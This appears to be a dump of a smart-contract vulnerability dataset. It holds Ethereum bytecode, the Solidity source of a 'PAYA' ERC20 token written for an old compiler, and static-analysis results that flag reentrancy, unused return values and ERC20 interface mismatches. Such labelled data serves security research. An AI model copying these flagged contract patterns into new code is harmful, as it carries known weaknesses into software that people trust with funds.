98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c8b1827f8167809f8ce062fe95ff812da933f0ac52e1ef4a1edb30eb57b8d7d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,641
0xcf78302de0dc000693d79ae44de1a28942989ad7
pragma solidity ^0.4.11; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with Paya token creation */ contract PayaToken is StandardToken, Ownable { event Paya(address indexed to, uint value); event PayaFinished(); bool public payaFinished = false; uint public totalSupply = 0; modifier canPaya() { if(payaFinished) throw; _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canPaya returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Paya(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishPayaning() onlyOwner returns (bool) { payaFinished = true; PayaFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) throw; _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) throw; _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title PAYA * @dev Omise Go Token contract */ contract PAYA is PausableToken, PayaToken { using SafeMath for uint256; string public name = "PAYA"; string public symbol = "PAYA"; uint public decimals = 9; string public version = 'H1.0'; function () { //if ether is sent to this address, send it back. throw; } /** * @dev Paya timelocked tokens */ /* function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner canPaya returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(timelock, _amount); return timelock; } */ function PAYA( ) { balances[msg.sender] = 21000000000000000000; // 21,000,000,000 totalSupply = 21000000000000000000; // } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610119578063095ea7b3146101a957806318160ddd146101f6578063229eb1051461022157806323b872dd14610250578063313ce567146102bd57806335c914c2146102e85780633f4ba83a1461031757806340c10f191461034657806354fd4d50146103ab5780635c975abb1461043b57806370a082311461046a5780638456cb59146104c15780638da5cb5b146104f057806395d89b4114610547578063a9059cbb146105d7578063cae9ca5114610624578063dd62ed3e146106cf578063f2fde38b14610746575b34801561011357600080fd5b50600080fd5b34801561012557600080fd5b5061012e610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b506101f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610827565b005b34801561020257600080fd5b5061020b6109a9565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b506102366109af565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c2565b005b3480156102c957600080fd5b506102d26109ec565b6040518082815260200191505060405180910390f35b3480156102f457600080fd5b506102fd6109f2565b604051808215151515815260200191505060405180910390f35b34801561032357600080fd5b5061032c610a9e565b604051808215151515815260200191505060405180910390f35b34801561035257600080fd5b50610391600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b65565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103c0610ce5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044757600080fd5b50610450610d83565b604051808215151515815260200191505060405180910390f35b34801561047657600080fd5b506104ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d96565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6610ddf565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b50610505610ea5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055357600080fd5b5061055c610ecb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059c578082015181840152602081019050610581565b50505050905090810190601f1680156105c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105e357600080fd5b50610622600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f69565b005b34801561063057600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f91565b604051808215151515815260200191505060405180910390f35b3480156106db57600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122e565b6040518082815260200191505060405180910390f35b34801561075257600080fd5b50610787600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b5565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081141580156108b557506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156108bf57600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60045481565b600360159054906101000a900460ff1681565b600360149054906101000a900460ff16156109dc57600080fd5b6109e783838361138c565b505050565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5057600080fd5b6001600360156101000a81548160ff0219169083151502179055507fefbe693d58d6a9764faee278526ad3393ef75d4d0ca8ef3d2ab21f72955bfffb60405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610afc57600080fd5b600360149054906101000a900460ff161515610b1757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc357600080fd5b600360159054906101000a900460ff1615610bdd57600080fd5b610bf28260045461164c90919063ffffffff16565b600481905550610c4a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f26dd7c387c0b9ce741b32f9c3c372634cfb32329042fa3bca417ca14ebdc66b0836040518082815260200191505060405180910390a26001905092915050565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d7b5780601f10610d5057610100808354040283529160200191610d7b565b820191906000526020600020905b815481529060010190602001808311610d5e57829003601f168201915b505050505081565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3d57600080fd5b600360149054906101000a900460ff1615610e5757600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f615780601f10610f3657610100808354040283529160200191610f61565b820191906000526020600020905b815481529060010190602001808311610f4457829003601f168201915b505050505081565b600360149054906101000a900460ff1615610f8357600080fd5b610f8d828261166a565b5050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156111d25780820151818401526020810190506111b7565b50505050905090810190601f1680156111ff5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561122357600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156113895780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000606060048101600036905010156113a457600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061147583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150a83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181490919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611560838361181490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b60008082840190506116608482101561182d565b8091505092915050565b6040600481016000369050101561168057600080fd5b6116d282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b60006118228383111561182d565b818303905092915050565b80151561183957600080fd5b505600a165627a7a723058205afe8a44120e09a86cbcb107740c684305def39b55ee7ac3c1f0c4bae1a3abad0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,642
0xf01b069edfde21df43519d752bc391685a09851f
